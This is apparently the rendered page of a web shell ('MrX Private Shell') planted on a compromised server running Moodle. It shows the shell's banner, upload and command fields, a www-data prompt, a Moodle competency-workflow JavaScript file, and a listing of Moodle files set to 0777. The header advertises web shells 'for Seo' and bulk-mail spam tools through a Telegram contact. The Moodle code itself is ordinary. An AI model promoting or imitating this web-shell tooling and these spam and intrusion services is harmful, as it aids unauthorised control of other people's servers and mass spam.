__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * User competency workflow.
 *
 * @module     tool_lp/user_competency_workflow
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(['jquery',
        'core/templates',
        'core/ajax',
        'core/notification',
        'core/str',
        'tool_lp/menubar',
        'tool_lp/event_base'],
        function($, Templates, Ajax, Notification, Str, Menubar, EventBase) {

    /**
     * UserCompetencyWorkflow class.
     */
    var UserCompetencyWorkflow = function() {
        EventBase.prototype.constructor.apply(this, []);
    };
    UserCompetencyWorkflow.prototype = Object.create(EventBase.prototype);

    /** @property {String} The selector to find the user competency data. */
    UserCompetencyWorkflow.prototype._nodeSelector = '[data-node="user-competency"]';

    /**
     * Cancel a review request and refresh the view.
     *
     * @param  {Object} data The user competency data.
     * @method _cancelReviewRequest
     */
    UserCompetencyWorkflow.prototype._cancelReviewRequest = function(data) {
        var call = {
            methodname: 'core_competency_user_competency_cancel_review_request',
            args: {
                userid: data.userid,
                competencyid: data.competencyid
            }
        };

        Ajax.call([call])[0].then(function() {
            this._trigger('review-request-cancelled', data);
            this._trigger('status-changed', data);
        }.bind(this)).catch(function() {
            this._trigger('error-occured', data);
        }.bind(this));
    };

    /**
     * Cancel a review request an refresh the view.
     *
     * @param  {Object} data The user competency data.
     * @method cancelReviewRequest
     */
    UserCompetencyWorkflow.prototype.cancelReviewRequest = function(data) {
        this._cancelReviewRequest(data);
    };

    /**
     * Cancel a review request handler.
     *
     * @param  {Event} e The event.
     * @method _cancelReviewRequestHandler
     */
    UserCompetencyWorkflow.prototype._cancelReviewRequestHandler = function(e) {
        e.preventDefault();
        var data = this._findUserCompetencyData($(e.target));
        this.cancelReviewRequest(data);
    };

    /**
     * Request a review and refresh the view.
     *
     * @param  {Object} data The user competency data.
     * @method _requestReview
     */
    UserCompetencyWorkflow.prototype._requestReview = function(data) {
        var call = {
            methodname: 'core_competency_user_competency_request_review',
            args: {
                userid: data.userid,
                competencyid: data.competencyid
            }
        };

        Ajax.call([call])[0].then(function() {
            this._trigger('review-requested', data);
            this._trigger('status-changed', data);
        }.bind(this)).catch(function() {
            this._trigger('error-occured', data);
        }.bind(this));
    };

    /**
     * Request a review.
     *
     * @param  {Object} data The user competency data.
     * @method requestReview
     */
    UserCompetencyWorkflow.prototype.requestReview = function(data) {
        this._requestReview(data);
    };

    /**
     * Request a review handler.
     *
     * @param  {Event} e The event.
     * @method _requestReviewHandler
     */
    UserCompetencyWorkflow.prototype._requestReviewHandler = function(e) {
        e.preventDefault();
        var data = this._findUserCompetencyData($(e.target));
        this.requestReview(data);
    };

    /**
     * Start a review and refresh the view.
     *
     * @param  {Object} data The user competency data.
     * @method _startReview
     */
    UserCompetencyWorkflow.prototype._startReview = function(data) {
        var call = {
            methodname: 'core_competency_user_competency_start_review',
            args: {
                userid: data.userid,
                competencyid: data.competencyid
            }
        };
        Ajax.call([call])[0].then(function() {
            this._trigger('review-started', data);
            this._trigger('status-changed', data);
        }.bind(this)).catch(function() {
            this._trigger('error-occured', data);
        }.bind(this));
    };

    /**
     * Start a review.
     *
     * @param  {Object} data The user competency data.
     * @method startReview
     */
    UserCompetencyWorkflow.prototype.startReview = function(data) {
        this._startReview(data);
    };

    /**
     * Start a review handler.
     *
     * @param  {Event} e The event.
     * @method _startReviewHandler
     */
    UserCompetencyWorkflow.prototype._startReviewHandler = function(e) {
        e.preventDefault();
        var data = this._findUserCompetencyData($(e.target));
        this.startReview(data);
    };

    /**
     * Stop a review and refresh the view.
     *
     * @param  {Object} data The user competency data.
     * @method _stopReview
     */
    UserCompetencyWorkflow.prototype._stopReview = function(data) {
        var call = {
            methodname: 'core_competency_user_competency_stop_review',
            args: {
                userid: data.userid,
                competencyid: data.competencyid
            }
        };

        Ajax.call([call])[0].then(function() {
            this._trigger('review-stopped', data);
            this._trigger('status-changed', data);
        }.bind(this)).catch(function() {
            this._trigger('error-occured', data);
        }.bind(this));
    };

    /**
     * Stop a review.
     *
     * @param  {Object} data The user competency data.
     * @method stopReview
     */
    UserCompetencyWorkflow.prototype.stopReview = function(data) {
        this._stopReview(data);
    };

    /**
     * Stop a review handler.
     *
     * @param  {Event} e The event.
     * @method _stopReviewHandler
     */
    UserCompetencyWorkflow.prototype._stopReviewHandler = function(e) {
        e.preventDefault();
        var data = this._findUserCompetencyData($(e.target));
        this.stopReview(data);
    };

    /**
     * Enhance a menu bar.
     *
     * @param  {String} selector Menubar selector.
     */
    UserCompetencyWorkflow.prototype.enhanceMenubar = function(selector) {
        Menubar.enhance(selector, {
            '[data-action="request-review"]': this._requestReviewHandler.bind(this),
            '[data-action="cancel-review-request"]': this._cancelReviewRequestHandler.bind(this),
        });
    };

    /**
     * Find the user competency data from a node.
     *
     * @param  {Node} node The node to search from.
     * @return {Object} User competency data.
     */
    UserCompetencyWorkflow.prototype._findUserCompetencyData = function(node) {
        var parent = node.parents(this._nodeSelector),
            data;

        if (parent.length != 1) {
            throw new Error('The evidence node was not located.');
        }

        data = parent.data();
        if (typeof data === 'undefined' || typeof data.userid === 'undefined' || typeof data.competencyid === 'undefined') {
            throw new Error('User competency data could not be found.');
        }

        return data;
    };

    /**
     * Enhance a menu bar.
     *
     * @param  {String} selector Menubar selector.
     */
    UserCompetencyWorkflow.prototype.enhanceMenubar = function(selector) {
        Menubar.enhance(selector, {
            '[data-action="request-review"]': this._requestReviewHandler.bind(this),
            '[data-action="cancel-review-request"]': this._cancelReviewRequestHandler.bind(this),
            '[data-action="start-review"]': this._startReviewHandler.bind(this),
            '[data-action="stop-review"]': this._stopReviewHandler.bind(this),
        });
    };

    /**
     * Register the events in the region.
     *
     * @param {String} selector The base selector to search nodes in and attach events.
     */
    UserCompetencyWorkflow.prototype.registerEvents = function(selector) {
        var wrapper = $(selector);

        wrapper.find('[data-action="request-review"]').click(this._requestReviewHandler.bind(this));
        wrapper.find('[data-action="cancel-review-request"]').click(this._cancelReviewRequestHandler.bind(this));
        wrapper.find('[data-action="start-review"]').click(this._startReviewHandler.bind(this));
        wrapper.find('[data-action="stop-review"]').click(this._stopReviewHandler.bind(this));
    };

    return /** @alias module:tool_lp/user_competency_actions */ UserCompetencyWorkflow;
});

Filemanager

Name Type Size Permission Actions
actionselector.js File 6.08 KB 0777
competencies.js File 13.4 KB 0777
competency_outcomes.js File 2.76 KB 0777
competency_plan_navigation.js File 2.84 KB 0777
competency_rule.js File 4.48 KB 0777
competency_rule_all.js File 1.64 KB 0777
competency_rule_points.js File 5.74 KB 0777
competencyactions.js File 31.19 KB 0777
competencydialogue.js File 5.57 KB 0777
competencypicker.js File 15.34 KB 0777
competencypicker_user_plans.js File 7.18 KB 0777
competencyruleconfig.js File 14.63 KB 0777
competencytree.js File 9.21 KB 0777
course_competency_settings.js File 5.1 KB 0777
dialogue.js File 4.22 KB 0777
dragdrop-reorder.js File 3.94 KB 0777
event_base.js File 1.72 KB 0777
evidence_delete.js File 3.47 KB 0777
form-user-selector.js File 3.04 KB 0777
form_competency_element.js File 4.58 KB 0777
frameworkactions.js File 5.86 KB 0777
frameworks_datasource.js File 3.2 KB 0777
grade_dialogue.js File 4.24 KB 0777
grade_user_competency_inline.js File 5.46 KB 0777
menubar.js File 29.26 KB 0777
module_navigation.js File 2.19 KB 0777
parentcompetency_form.js File 5.99 KB 0777
planactions.js File 19.75 KB 0777
scaleconfig.js File 8.21 KB 0777
scalevalues.js File 1.9 KB 0777
templateactions.js File 7.08 KB 0777
tree.js File 19.83 KB 0777
user_competency_course_navigation.js File 3.31 KB 0777
user_competency_info.js File 4.4 KB 0777
user_competency_plan_popup.js File 4.87 KB 0777
user_competency_workflow.js File 9.06 KB 0777
user_evidence_actions.js File 13.74 KB 0777
Filemanager